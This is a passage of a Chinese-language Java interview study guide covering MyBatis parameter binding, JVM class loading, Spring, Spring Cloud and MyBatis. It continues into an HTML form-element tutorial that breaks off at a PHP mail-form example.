(1)、传入参数,sql在解析的时候会加上" ",当成字符串来解析,如 id = "id";

(2)、#{}能够很大程度上防止sql注入;

使用${}:

(1)、传入数据直接显示在生成的sql中,sql在解析的时候值为id = id。

(2)、${}方式无法防止sql注入

最后:能用#{}时尽量用#{},但有些场合需要使用$。

注意MyBatis排序时使用order by 动态参数时需要注意,用$而不是#(#会自动拼接符号)

8、描述一下JVM加载class文件的原理机制和特点。

Java中的所有类,都需要由类加载器装载到JVM中才能运行。JVM中类的加载是由类加载器(ClassLoader)和它的子类来实现的。在我们使用一个类之前,JVM需要先将该类的字节码文件(.class文件)从磁盘、网络或其他来源加载到内存中(加载Class文件到JVM),并对字节码进行解析生成对应的Class对象,这就是类加载器的功能。我们可以利用类加载器,实现类的动态加载。在写程序的时候,我们几乎不需要关心类的加载,因为这些都是隐式装载的,除非我们有特殊的用法,像是反射,就需要显式的加载所需要的类。

Java类的加载是动态的,它并不会一次性将所有类全部加载后再运行,而是保证程序运行的基础类(像是基类)完全加载到jvm中,至于其他类,则在需要的时候才加载。这当然就是为了节省内存开销。

进一步提问:类加载的方式有几种?区别是什么?

类装载方式有两类:隐式装载和显示装载,其中显示装载又分2种方式。

(1)、隐式装载,程序在运行过程中当碰到通过new 等方式生成对象时,隐式调用类装载器加载对应的类到jvm中,比如

Dog dog = new Dog();【第一种方式】

(2)、显式装载,

【第二种方式】使用Class.forName()通过反射加载类型,并创建对象实例,比如

Class clazz = Class.forName(“Dog”);
Object dog =clazz.newInstance();

如果无法找到Dog,则抛出ClassNotFoundException。

【第三种方式】使用某个ClassLoader实例的loadClass()方法

Class clazz = classLoader.loadClass("Dog");

Object dog=clazz.newInstance();

如果无法找到Dog,则抛出ClassNotFoundException。

区别:

方式1和2使用的类加载器是相同的,都是当前类加载器(即:this.getClass.getClassLoader)。
方式3由用户指定类加载器。如果需要在当前类路径以外寻找类,则只能采用方式3。即第3种方式加载的类与当前类分属不同的命名空间。

方式1是静态加载,方式2和3是动态加载。

进一步提问:java内置的类加载器(ClassLoader)有哪些,简述一下类加载器工作原理

Java的类加载器有三个:

第一种是Bootstrap Loader(引导类加载器)。它的实现依赖于底层操作系统,由C编写而成,没有继承于ClassLoader类。根类加载器从系统属性sun.boot.class.path所指定的目录中加载类库。默认为jre目录下的lib目录下的class文件,该加载器没有父加载器。负责加载虚拟机的核心类库,如java.lang.*。Object类就是由根类加载器加载的。

第二种是Extended Loader(标准扩展类加载器)。它的父加载器为根类加载器。由java编写而成,是ClassLoader的子类。它从java.ext.dirs中加载类库,或者从JDK安装目录jre\lib\ext子目录下加载类库。如果把用户创建的jar文件放在该目录下,也会自动由扩展类加载器加载。

第三种是AppClass Loader(应用程序类路径类加载器)。它的父加载器为扩展类加载器。由java编写而成,是ClassLoader的子类,它从环境变量classpath或者系统属性java.class.path所指定的目录中加载类,是用户自定义的类加载器的默认父加载器。

加载类时,会以Bootstrap Loader→Extended Loader→AppClass Loader的顺序来寻找类,如果找不到,就会丢出NoClassDefFoundError。

9、在一个类中,声明了若干个static方法和非static方法,声明的static方法能否直接访问声明的非static方法?

static方法不能直接访问非static方法,因为static方法是属于这个类本身的一个方法,在编译期间就已经确定了;而非static方法是属于这个类的对象的方法,需要在实例化之后才能访问到。即:static方法调用时不需要创建对象,可以直接调用,非static方法是要与对象关联在一起的,必须创建一个对象后,才可以在该对象上进行方法调用,若在static方法中访问非static方法,非static方法不知道关联到哪个对象上,将不能通过编译。

进一步提问:说一下静态方法和非静态方法都是在什么时候被装载到内存中的?

静态方法(Static Method)与静态成员变量一样,属于类本身,在类装载的时候被装载到内存(Memory),不自动进行销毁,会一直存在于内存中,直到JVM关闭。
非静态方法(Non-Static Method)又叫实例化方法,属于实例对象,实例化后才会分配内存,必须通过类的实例来引用。不会常驻内存,当实例对象被JVM 回收之后,也跟着消失。

进一步提问:静态方法怎样访问非静态方法?

静态方法不能直接使用本类的非静态方法
解决方式有三种
(1)、两个方法都改成非静态
(2)、两个方法都改成静态
(3)、先创建类的实例,然后静态方法再调用这个实例的非静态方法

10、在Java中,对象什么时候可以被垃圾回收?

Java垃圾回收不是实时的,垃圾回收器的作用是查找和回收(清理)无用的对象。以便让JVM更有效地使用内存。垃圾回收器的运行时间是不确定的,由JVM决定,在运行时是间歇执行的。也可以通过System.gc()来强制回收垃圾,但是这个命令下达后JVM不一定会立即响应执行,但间隔一小段时间基本都会执行。

11、一个汉字占几个字节

中文在不同编码下占不定长的 2~4个字节。注意在utf-16中占用两个字节,在java 运行时用UTF-16编码在转码的时候会在前面加上表示字节顺序的字符,这个字符称为”零宽度非换行空格”(ZERO WIDTH NO-BREAK SPACE),用FEFF表示。FEFF占用两个字节。

12、项目中使用Maven进行构建,有哪些优势?你使用过哪些maven命令?说一下maven中本地仓库和远程仓库的区别和联系。

优点:

(1)创建项目,自动关联和下载依赖的jar包,统一维护jar包

(2)升级框架版本方便

常用 Maven 命令:

(1)、安装项目到本地仓库:mvn install

(2)、创建maven项目:mvn archetype:generate

(3)、验证项目是否正确:mvn validate

(4)、maven 打包:mvn package

(5)、只打jar包:mvn jar:jar

(6)、生成源码jar包:mvn source:jar

(7)、产生应用需要的任何额外的源代码:mvn generate-sources

(8)、编译源代码: mvn compile

(9)、编译测试代码:mvn test-compile

(10)、运行测试:mvn test

(11)、运行检查:mvn verify

(12)、清理maven项目:mvn clean

Maven仓库关系:

maven的仓库只有两大类:1.本地仓库 2.远程仓库,在远程仓库中又分成了3种:2.1 中央仓库 2.2 私服 2.3 其它公共库

运行Maven的时候,Maven所需要的任何构件都是直接从本地仓库获取的。如果本地仓库没有,它会首先尝试从远程仓库下载构件至本地仓库,然后再使用本地仓库的构件。

13、Thread.sleep(0)有没有实际作用

触发操作系统立刻重新进行一次CPU竞争,操作系统重新计算线程的优先级(包括当前线程)。竞争的结果也许是当前线程仍然获得CPU控制权,也许会换成别的线程获得CPU控制权。

二、前端框架

1、在项目中使用过哪些前端框架?

Vue(用于构建用户界面的 渐进式框架,特点:轻量级、双向数据绑定、组件化)、

React(构建用户界面的 JAVASCRIPT 库,特点:只负责显示、声明式框架、数据驱动DOM)、

Angular(前端JS框架,核心:MVVM、模块化、自动化双向数据绑定、语义化标签、依赖注入等)、

QucikUI(企业级web前端开发解决方案)、

Layui(前端 UI 框架)、

Avalon(前端MVVM框架)、

还有Dojo、Ember、Aurelia等

2、js中如何查看某变量的数据类型?可以查看的数据类型有哪些?

使用typeof查看变量的数据类型。

javascript共有6种数据类型:

基本类型5种:number、string、boolean、null、undefined。引用类型1种:object

typeof检测返回6种:undefined、boolean、string、number、object、function

3、前端进行文件下载时,能不能用ajax向后端发起请求?

Ajax不能实现文件下载功能

原因:ajax的返回值是json,text,html,xml类型,或者可以说ajax的接收类型只能是String字符串,不是流类型,所以无法实现文件下载。但用aja仍然可以获得文件的内容(可以读取到返回的response,但只是读取而已),该文件将被保留在内存中,无法将文件保存到磁盘,这是因为javascript无法和磁盘进行交互,否则这会是一个严重的安全问题,js无法调用浏览器的下载处理机制和程序,会被浏览器阻塞。

4、如何解决前后端交互过程中特殊字符的传参(比如中文、特殊符号等)?

(这个问题属于送分题,有一定项目经验的人,都会注意到在前后端进行交互时,需要进行decoder编码-Encoder解码的过程,防止乱码)

进一步提问:前后端数组传参如何处理?

前端:数据使用JSON.stringify(str)处理

后端:数据转换:List<Object> objectList = JSONObject.parseArray(str, Object.class)

5、FreeMarker、jsp、html 三者的区别

先说说freemarker和jsp的不同,运行机制就不大一样,jsp是编译成继承自servlet的class文件,运行jsp就是运行一个servlet(Java文件编译后会产生一个class文件,最终执行的就是这个class文件,JSP也一样,它也要编译成class文件。JSP不止要编译,它还得要转译,首先把JSP转译成一个Servlet文件,然后再编译成class文件。当用户访问JSP时就执行了class文件)。

而freemarker就是套模板,通过模板+内容直接生成HTML然后输出。

HTML(Hypertext Markup Language)文本标记语言,它是静态页面,和JavaScript一样是解释性语言。

JSP(Java Server Page)Java服务端的页面,它是动态页面,它是需要经过JDK编译后把内容发给客户端去显示。

6、vue实例内部和外部分别怎么调用vue中的方法?

内部调用: this.operate();

外部调用:vm.operate(); (vm是vue实例名)

三、后端技术

1、Spring:

(1)Spring中IOC和AOP的应用场景。

AOP:面向切面编程。可以运用在日志,事务和异常处理等。如果不使用aop,那么就必须在每个类和方法中去实现它们。代码纠缠在一起。每个类和方法中都包含日志、事务或者异常处理甚至是业务逻辑。在一个这样的方法中,很难分清代码中实际做的是什么处理。AOP 所做的就是将所有散落各处的事务代码集中到一个事务切面中。

AOP日志处理:使用Aop在接口方法上插入一行自定义的切面注解类,在切面处理类中可以记录接口名称、请求参数、请求ip、请求url、请求时间、响应参数、响应状态、调用时长等;

AOP事务处理:Spring在方法访问数据库之前,自动开启事务,当访问数据库结束之后,自动提交/回滚事务;

AOP异常处理:自定义开启环绕通知,一旦运行接口报错,环绕通知捕获异常跳转异常处理页面。

IOC就是Inversion of Control,即控制反转,又称依赖注入。它不是什么技术,而是一种设计思想。在Java开发中,传统的创建对象的方法是直接通过 new 关键字(之前我们通过 "类名 对象名 = new 类名( )"的方式进行对象的创建,也就是说我们的程序负责对象的创建,控制了它是否被创建这件事情,这就叫做控制),而 spring 则是通过 IOC 容器来创建对象,也就是说我们将创建对象的控制权交给了 IOC 容器。这称为控制反转。概括的说就是:

IOC 让程序员不再关注怎么去创建对象,而是关注于对象创建之后的操作,把对象的创建、初始化、销毁等工作交给spring容器来做。

举个例子:梳理这个问题在各种社会形态里如何解决:一个人(Java实例,调用者)需要一把斧子(Java实例,被调用者)

(1) 原始社会里,几乎没有社会分工。需要斧子的人(调用者)只能自己去磨一把斧子(被调用者)。对应的情形为:Java程序里的调用者自己创建被调用者。
(2)进入工业社会,工厂出现。斧子不再由普通人完成,而在工厂里被生产出来,此时需要斧子的人(调用者)找到工厂,购买斧子,无须关心斧子的制造过程。对应Java程序的简单工厂的设计模式。
(3)进入“按需分配”社会,需要斧子的人不需要找到工厂,坐在家里发出一个简单指令:需要斧子。斧子就自然出现在他面前。对应Spring的依赖注入。

第一种情况下,Java实例的调用者创建被调用的Java实例,必然要求被调用的Java类出现在调用者的代码里。无法实现二者之间的松耦合。
第二种情况下,调用者无须关心被调用者具体实现过程,只需要找到符合某种标准(接口)的实例,即可使用。此时调用的代码面向接口编程,可以让调用者和被调用者解耦,这也是工厂模式大量使用的原因。但调用者需要自己定位工厂,调用者与特定工厂耦合在一起。
第三种情况下,调用者无须自己定位工厂,程序运行到需要被调用者时,系统自动提供被调用者实例。事实上,调用者和被调用者都处于Spring的管理下,二者之间的依赖关系由Spring提供。

生活中这种例子比比皆是,支付宝在整个淘宝体系里就是庞大的ioc容器,交易双方之外的第三方资金管理中心。

(2)Spring依赖注入的方式有哪些?

【set设值注入、构造函数注入、spring注解注入】

Spring IOC既可以通过XML的形式进行bean与依赖注入配置,也可以通过注解的方式。(在springmvc中,我们一般使用xml进行装配,而springboot使用全注解的形式)

①通过XML的形式进行bean与依赖注入

通常有两种: 设值注入&构造注入。

设值注入就是指要被注入的类中定义有一个setter()方法,并在参数中定义需要注入的对象。

构造注入就是指要被注入的类中声明一个构造方法,并在此方法的参数中定义要注入的对象。

②注解的方式:

注解包含三部分:

| 组件类型注解--声明当前类的功能与职责

|| 自动装配注解--根据属性特征自动注入对象

||| 元数据注解--更细化的辅助IoC容器管理对象的注解

A、四种组件类型注解

@Component:组件注解,通用注解,该注解描述的类将被IoC容器管理并实例化

@Controller:语义注解,说明当前类是MVC应用中的控制类

@Service:语义注解,说明当前类是Service业务服务类

@Repository:语义注解,说明当前类作用于业务持久层,通常描述对应Dao类

此外,在使用四种组件类型的注解时,必须开启组件扫描,详细配置如下:

B、两类自动装配注解

按类型装配

@Autowired

@Inject

按名称装配

@Named

@Resource

优先设置name属性,若未包含name属性,会按照@Autowired注入

C、元数据注解

@Primary--按类型装配时出现多个相同类型的对象,拥有此注解对象优先被注入

@PostContruct:相当于init-method

@PreDestory:相当于destory--method

@Scope:设置对象Scope属性

@Value:为属性注入静态数据

(3)为什么非使用依赖注入,我要用到一个其他对象时,new一个怎么就不好了。

本质上都是创建对象,最大的区别还是生命周期的管理以及复杂依赖的处理。

①、生命周期

比如一个类或者接口全程只要一个实例,用依赖注入的话只需要注册成单例即可,如果自己实例化的话你需要撸一个单机模式(饿汉、懒汉、线程安全等模式)的类,并发下还要考虑线程安全。

②、复杂依赖

如果这个类或者接口不依赖其他的类或者接口差异不明显,如果依赖的类比较多的情况下(A依赖B,B又依赖C,C又依赖D,D又依赖其他)自己实例化会很麻烦。要创建A, 要先B、C、D先new一遍再new A。用ioc就快多了,A(B b),其他自动创建,是不是快多了。

总结:在程序中如果不是必须同一个对象多个实例时,也就是一个对象只是在某个地方使用一下时new一下,依赖注入就比new一个对象更好,因为new一个对象必选面临频繁创建和销毁内存实例对象的问题。而ioc管控下实例对象都是单例模式的,就是在程序运行时始终只有一个对象实例生成不需要频繁创建和销毁,也因为在内存中只有一个实例对象,减少内存开销。

(4)描述一下DispatcherServlet的工作流程?

(5)SpringMVC如何区分控制器返回的是页面还是数据(比如JSON格式的数据)

使用@ResponseBody注解,该注解用于将Controller方法返回的对象,通过适当的HttpMessageConverter转化为指定格式后,写入到Response对象的body数据区。

使用时机:返回的数据不是html标签的页面,而是其他某种格式的数据时(如json,xml等)。(如果是在程序中返回的html页面代码,也可以使用@ResponseBody,在HttpServletResponse写入,设置ContentType为text/html)

(6)Spring全家桶有哪些?

Spring、Spring MVC、Spring Boot、Spring Cloud 、 Spring Security 、Spring Data

(7)Spring普通类与工具类如何调用service层方法,为什么不能直接使用注解调用?

Spring中的Service不是你想new就能new的,因为通过new实例化的对象脱离了Spring容器的管理,获取不到注解的属性值,所以会是null,就算调用service的类中有@Component注解加入了Spring容器管理,也还是null。

新建SpringContextUtil类,在application.xml配置SpringContextUtil,最后使用DictService dictService = (DictService) SpringContextUtil.getBean("dictService");

2、Springboot:

(1) SpringBoot中如何进行单元测试?

导入spring-boot-starter-test依赖。测试类使用注解@SpringBootTest,测试的方法上加@Test注解。

(2) SpringBootApplication注解的作用。

@SpringBootApplication注解是一个组合注解,@SpringBootApplication注解的源码我们发现,它是由ComponentScan、SpringBootConfiguration、EnableAutoConfiguration等注解组合而成:

(3) 在一个Springboot+mybatis+mysql+oracle+redis+aop功能的项目中,在pom.xml中需要引入哪些jar包依赖?

进一步提问:以redis为例,springboot 1.x与springboot 2.x引入的jar包有何不同?

在 springboot 1.5.x版本的默认的Redis客户端是Jedis实现的,springboot 2.x版本中默认客户端是用lettuce实现的。

3、SpringCloud:

(1)springCloud的核心组件有哪些,解决什么问题?

Eureka(注册中心)

每个微服务都有一个EurekaClient组件,专门负责将这个服务的信息注册到EurekaServer中,也就是告诉EurekaServer,自己在哪台机器上,监听着哪个端口。而EurekaServer是一个注册中心,里面有一个注册表,保存了各服务所在的机器和端口号。

Feign(REST客户端)

Feign是一个声明式REST客户端,主要是为了简便服务调用,更快捷、优雅地调用HTTPAPI。主要是实现原理是用动态代理,你要是调用哪个接口,本质就是调用Feign创建的动态代理。

Ribbon(负载均衡)

Ribbon的作用是负载均衡,会帮你在每次请求时选择一台机器,均匀地把请求分发到各个机器上,默认使用的最经典的RoundRobin轮询算法(如果发起10次请求,那就先让你请求第1台机器、然后是第2台机器、第3台机器,接着再来—个循环,第1台机器、第2台机器。。。以此类推)

Hystrix(熔断器)

微服务框架是许多服务互相调用的,要是不做任何保护的话,某一个服务挂了,就会引起连锁反应,导致别的服务也挂。Hystrix是隔离、熔断以及降级的一个框架。如果调用某服务报错或者挂了,就对该服务熔断,在5分钟内请求此服务直接就返回一个默认值,不需要每次都卡几秒,这个过程,就是所谓的熔断。但是熔断了之后就会少调用一个服务,此时需要做下标记,标记本来需要做什么业务,但是因为服务挂了,暂时没有做,等熔断的服务恢复了,就可以手工处理这些业务。这个过程,就是所谓的降级。

Zuul(服务网关)

Zuul微服务网关,负责网络路由。假设你后台部署了几百个服务,现在有个前端兄弟要来调用这些服务,难不成你让他把所有服务的名称和地址全部记住,这是不现实的,所以一般微服务架构中都必然会设计一个网关,所有请求都往网关走,网关会根据请求中的一些特征,将请求转发给后端的各个服务。而且有一个网关之后,还有很多好处,比如可以做统一的降级、限流、认证授权、安全,等等。

总结步骤:①服务注册—》②服务发现—》③负载均衡—》④服务调用—》⑤隔离、熔断与降级—》⑥网关路由

流程说明:各个服务启动时,Eureka Client都会将服务注册到Eureka Server,并且Eureka Client还可以反过来从Eureka Server拉取注册表,从而知道其他服务在哪里。服务间发起请求的时候,基于Ribbon做负载均衡,从一个服务的多台机器中选择一台。基于Feign的动态代理机制,根据注解和选择的机器,拼接请求URL地址,发起请求。发起请求是通过Hystrix的线程池来走的,不同的服务走不同的线程池,实现了不同服务调用的隔离,避免了服务雪崩的问题。如果前端、移动端要调用后端系统,统一从Zuul网关进入,由Zuul网关转发请求给对应的服务。

(2)SpringCloud和Dubbo两种微服务架构有何区别?

Dubbo的定位始终是一款RPC框架,而SpringCloud的目标是微服务架构下的一站式解决方案。如果非要比较的话,Dubbo可以类比到NetflixOSS技术栈,而SpringCloud集成了NetflixOSS作为分布式服务治理解决方案,但除此之外SpringCloud还提供了配置、消息、安全、调用链跟踪等分布式问题解决方案。

(3)SpringBoot和SpringCloud 侧重点分别在哪些方面?

SpringBoot是Spring的一套快速配置脚手架,可以基于SpringBoot快速开发单个微服务,SpringCloud是一个基于SpringBoot实现的云应用开发工具;

SpringBoot专注于快速、方便集成的单个微服务个体,SpringCloud关注全局的服务治理框架;

SpringBoot使用了默认大于配置的理念,很多集成方案已经帮你选择好了,能不配置就不配置,SpringCloud很大的一部分是基于SpringBoot来实现。SpringBoot可以离开SpringCloud独立使用开发项目,但是SpringCloud离不开SpringBoot,属于依赖的关系。

(4)springcloud如何实现服务的注册和调用?

1)服务发布时,指定对应的服务名(服务名包括了IP地址和端口),将服务注册到注册中心(eureka 或者zookeeper)
2)注册中心加@EnableEurekaServer,服务用@EnableDiscoveryClient,然后用ribbon或feign进行服务直接的调用发现。(这一过程是springcloud自动实现 只需要在main方法添加@EnableDisscoveryClient。同一个服务修改端口就可以启动多个实例)

4、mybatis:

(1)Mybatis中mapper.xml映射文件,通常都会写一个Mapper接口与之对应,这个Mapper层接口是怎么能够找到指定xml下的方法的?

Mapper接口是没有实现类的,当调用接口方法时,接口全限名(就是映射文件中的namespace的值)+方法名拼接字符串作为key值,可唯一定位一个MapperStatement。在Mybatis中,每一个<select>、<insert>、<update>、<delete>标签,都会被解析为一个MapperStatement对象。

(2)Mybatis的Xml映射文件中,不同的Xml映射文件,id是否可以重复?

不同的Xml映射文件,如果配置了namespace,那么id可以重复;如果没有配置namespace,那么id不能重复;原因就是namespace+id是作为Map<String,MapperStatement>的key使用的,如果没有namespace,就剩下id,那么,id重复会导致数据互相覆盖。有了namespace,自然id就可以重复,namespace不同,namespace+id自然也就不同。

(3)Mybatis中使用MySQL和Oracle分页的区别

MySQL分页:(利用LIMIT关键字)计算参数为开始序号(startNum),要查的总条数(totalNum)

Oracle分页:(利用自带的rownum)计算参数为开始序号(startNum),结束序号(endNum)【注意:Oracle分页利用其自带的rownum,但是rownum在表中不能使用>号(比如select rownum,a.* from A a where rownum > n,查出的都是空),但是可以使用<。这是因为rownum是一个总是从1开始的伪列,Oracle认为rownum>n(n>1的自然数)这种条件依旧不成立,所以查不到记录】

(4)Mybatis是如何将sql执行结果封装为目标对象并返回的?

第一种是使用resultMap标签,逐一定义列名和对象属性名之间的映射关系。

第二种是使用sql列的别名功能,将列别名书写为对象属性名,比如T_NAME AS NAME,对象属性名一般是name,小写,但是列名不区分大小写,Mybatis会忽略列名大小写,智能找到与之对应对象属性名,你甚至可以写成T_NAME AS NaMe,Mybatis一样可以正常工作。

进一步提问:resultMap和resultType有啥区别?

resultType:当使用resultType做SQL语句返回结果类型处理时,对于SQL语句查询出的字段在相应的pojo中必须有和它相同的字段对应,而resultType中的内容就是pojo在本项目中的位置。

resultMap:当使用resultMap做SQL语句返回结果类型处理时,通常需要先在mapper.xml中定义resultMap进行pojo和相应表字段的对应关系。然后再使用resultMap。

(5)Mybatis xml映射文件中,除了常见的select、insert、updae、delete标签之外,还有哪些标签及其作用?

除了这四个标签,还有<resultMap>、<parameterMap>、<sql>、<include>、<selectKey>,一个9个标签,其中<sql>为sql片段标签,通过<include>标签引入sql片段,<selectKey>为不支持自增的主键生成策略标签。

(6)为什么说Mybatis是半自动ORM映射工具?它与全自动的区别在哪里?

hibernate对很多数据库的操作已经进行了封装,hibernate操作对象时,比如往数据库添加一条记录,直接save就可以了。(Hibernate属于全自动ORM映射工具,使用Hibernate查询关联对象或者关联集合对象时,可以根据对象关系模型直接获取),而Mybatis在查询关联对象或关联集合对象时,需要手动编写sql来完成,虽然现在已经有不少程序可以自动生成xml文件,但还是需要自己调整sql,所以称之为半自动ORM映射工具。这也从侧面可以看出hibernate的拓展性不如Mybatis(hibernate做了很多封装)。

(7)mybatis 为什么大于不用转义,小于必须转义?

mybatis不支持“<”,本质是xml不支持这个符号,<会引起xml格式的错误,xml文件中的标签是 <…> 这种形式的, 所以当出现 “<” 号时, 会认为是一个标签的开始。

单属性汇总:

1 name属性

服务器会识别不同的name属性,并根据name属性来捕获不同元素内的数据。

2 value属性

value 属性为 input 元素设定值。

对于不同的输入类型,value 属性的用法也不同:

type="button", "reset", "submit" - 定义按钮上的显示的文本

type="text", "password", "hidden" - 定义输入字段的初始值

type="checkbox", "radio", "image" - 定义与输入相关联的值

注释:<input type="checkbox"> 和 <input type="radio"> 中必须设置 value 属性。

注释:value 属性无法与 <input type="file"> 一同使用。

注意:单选框和复选框传递数据到数据库时一定要设置value, 否则插入数据失败;

3 type属性

它决定了<input>标签在页面中的表现样式和功能

text 文本框

password 密码框

radio 单选框

checkbox 复选框

file 文件域

hidden 隐藏域

image 图像域

submit 提交按钮

reset 重置按钮

button 普通按钮

4 size属性

列表框中size属性用来设置列表框显示的行数;

文本框和密码框会使用size属性设置域的显示宽度;

5 disabled属性

定义disabled属性可以禁止使用该元素;

无法将数据提交到服务器处理;

6 readonly属性

常用在输入性表单对象中(如文本框、密码框、文本区域),用来禁止输入任何信息;

可以将数据提交到服务器处理;

7 checked属性

它与disabled属性一样没有属性值,常用在选择性表单对象中,定义对象处于被选中状态(如单选按钮和复选框)

但在列表框或者下拉式菜单中,为了表示被选中的项目,可使用selected属性;

7 placeholder属性

规定帮助用户填写输入字段的提示。

表单对象:

1 文本框

<input type="text" name="textfield" id="textfield" value="单行文本框" size="20" maxlength="20">

必需的属性:name type

2 密码域

<input type="password" name="passwordfield" id="passwordfield">

必需的属性:name type

3 文本域

<textarea name="textarea" cols="20" rows="5" wrap="physical"></textarea>

必需的属性:name cols rows

wrap属性 默认值:输入的文本会自动换行。当数据提交到服务器被处理时, 换行符不会随输入的文本一同被提交到服务器;

off(也可写成wrap):不自动换行, 当输入的内容超出文本区域右边界时, 文本将向左滚动, 并显示滚动条。

如果希望换行,必须手动输入回车键才能将插入点移到下一行;

virtual:文本能够自动换行, 当数据提交到服务器被处理时, 换行符不会随输入文本一同提交到服务器;(默认值)

physical:文本能够自动换行, 当数据提交到服务器被处理时, 换行符将会随输入的文本一同被提交到服务器进行处理;

关于如何限制文本域输入字符串的长度 见javascript|语法|设置文本框

HTML5中wrap中属性值修改为hard|soft

soft 当在表单中提交时, textarea 中的文本不换行, 默认值。

hard 当在表单中提交时, textarea 中的文本换行(包含换行符)。

当使用 "hard" 时, 必须规定 cols 属性

4 单选按钮

单选按钮传递的信息简单,如1或0、True或False。

<input type="radio" name="radio" value="1"/>选项1
<input type="radio" name="radio" value="2"/>选项2
<input type="radio" name="radio" value="3"/>选项3

多个单选按钮通过定义相同的name属性, 以实现捆绑在一起;

必需的属性:type name value

5 复选框

<input type="checkbox" name="checkbox[]" value="1"/>选项2
<input type="checkbox" name="checkbox[]" value="2"/>选项2
<input type="checkbox" name="checkbox[]" value="3"/>选项2

通过设置相同的name属性可以把多个复选框捆绑在一起;

必需的属性:type name value

6 列表框/下拉菜单

<select name="select" size=1>
<option value="1">1</option>
<option value="2" selected="selected">2</option>
<option value="3">3</option>
</select>

如果select元素中不设置size属性,则该元素会显示为下拉菜单样式

<select name="select" size="1" multiple="multiple">
<option value="1">1</option>
<option value="2" selected="selected">2</option>
<option value="3">3</option>
</select>

如果希望以列表框形式显示,则可以使用size属性指定列表框的高度(显示几个选项);

还可以通过mutiple属性定义列表框是否为多选(默认是单选);

通过<optgroup>标签把相关的选项组合在一起:

<select>
<optgroup label="PHP版块">
<option value ="resource">资源共享</option>
<option value ="study">学习交流</option>
<option value ="salary">薪酬待遇</option>
</optgroup>
<optgroup label="IOS版块">
<option value ="resource">资源共享</option>
<option value ="study">学习交流</option>
<option value ="salary">薪酬待遇</option>
</optgroup>
</select>

注意:其中PHP版块和IOS版块不能被选中

所有主流浏览器都支持 <optgroup> 标签。

7 文件域

<input type="file" name="file"/>
<input type="file" name="file" multiple/>

8 按钮

提交按钮

<input type="submit" name="" value="提交"/>

name值必须给出

重置按钮

<input type="reset" name="" value="重置"/>

普通按钮

<input type="button" name="" value="普通按钮"/>

它一般是配合javascript来使用;

关于控制表单提交按钮见: javascript|语法|控制表单提交

9 图像域

<input type="image" name="image" value="提交" src="images/vote_d.gif" alt="提交" align="middle"/>

10 隐藏域

限制上传文件大小

<input type="hidden" name="MAX_FILE_SIZE" value="1000000" />

传递ID值

<input type="hidden" name="id" value="<?php echo $result['id'];?>" />

11 button标签

在 button 元素内部,您可以放置内容,比如文本或图像。这是该元素与使用 input 元素创建的按钮之间的不同之处。

<button type="button" name="button" value="按钮"><img src="hw001.jpeg"/></button>

普通按钮<button type="button">普通按钮</button> 它一般是配合javascript来使用, 默认值

提交按钮<button type="submit">提交按钮</button>

重置按钮<button type="reset">重置按钮</button>

提交表单

enctype属性

该属性包含两种方式:

application/x-www-form-urlencoded 是默认编码类型

multipart/form-data

multipart/form-data编码方式可以用来传输二进制数据或者非ASCII字符的文本(如图片、不同格式的文件等),上传文件必须使用此属性

multipart: 多部件的

multiple: 多重的

text/plain

text/plain将表单属性发送到电子邮箱时,enctype的值必须设为"text/plain",否则将会出现乱码。

发送电子邮件的表单程序

<form name="form1" method="post" action="mailto:marker@broadview.com.cn" enctype="text/plain">
</form>

action 表单提交的脚本

如果传递到本页面,则直接输入控制 action=""

表单提交方式method:post/get

<form action="test.php?id=5" method="post" >
name: <input type="text" name="name" value="100">
</form>

id=5是get传, name="100" 是post传! //高洛峰解释

action="" 表示传递到当前脚本文件

target 指定提交到哪一个窗口

_blank 打开新窗口

_self 当前的窗口,默认值

_parent 上一层窗口

_top 最上层窗口

框架名称 指定指定窗口或框架名称

label标签

作用: 扩大触控区域, 为了提升用户体验, 点击文字也能选中表单

<form action=" method="get" accept-charset="utf-8">
<label>电子邮箱: <input type="text" name="email" value="" placeholder="请输入电子邮箱"/></label><br/>
<label>密码: <input type="password" name="password"/></label><br/>
<label for="address">地址</label>
<input type="text" name="address" id="address" placeholder="请输入地址" />
</form>

for与id一致

<input type="radio" id="sec" name="sex"> <label for="sex">男</label>

简化写法:

<label><input type="checkbox"/>周杰伦-晴天</label>

注意: "for" 属性可把 label 绑定到另外一个元素。请把"for"属性的值设置为相关元素的 id 属性的值。

PHP实例:创建发送邮件信息的html表单

代码:

<html>
<head>
<title>简单邮件发送表单</title>
</head>
<body>
<h1>Mail Form</h1>
<form name="form1" method="post" action="simpleEmail.php">
<table>
<tr><td><b>To</b></td><td><input type="text" name="mailto" size="35"></td></tr>
<tr><td><b>邮件主题:</b></td>
<td><input type="text" name="mailsubject" size="35"></td></tr>
<tr><td><b>邮件内容</b></td>
<td><textarea name="mailbody" cols="50" rows="7"></textarea></td>
</tr>
<tr><td colspan="2">
<input type="submit" name="Submit" value="发送">
</td>
</tr>
</table>
</form>
</body>
</html>


simpleEmail.php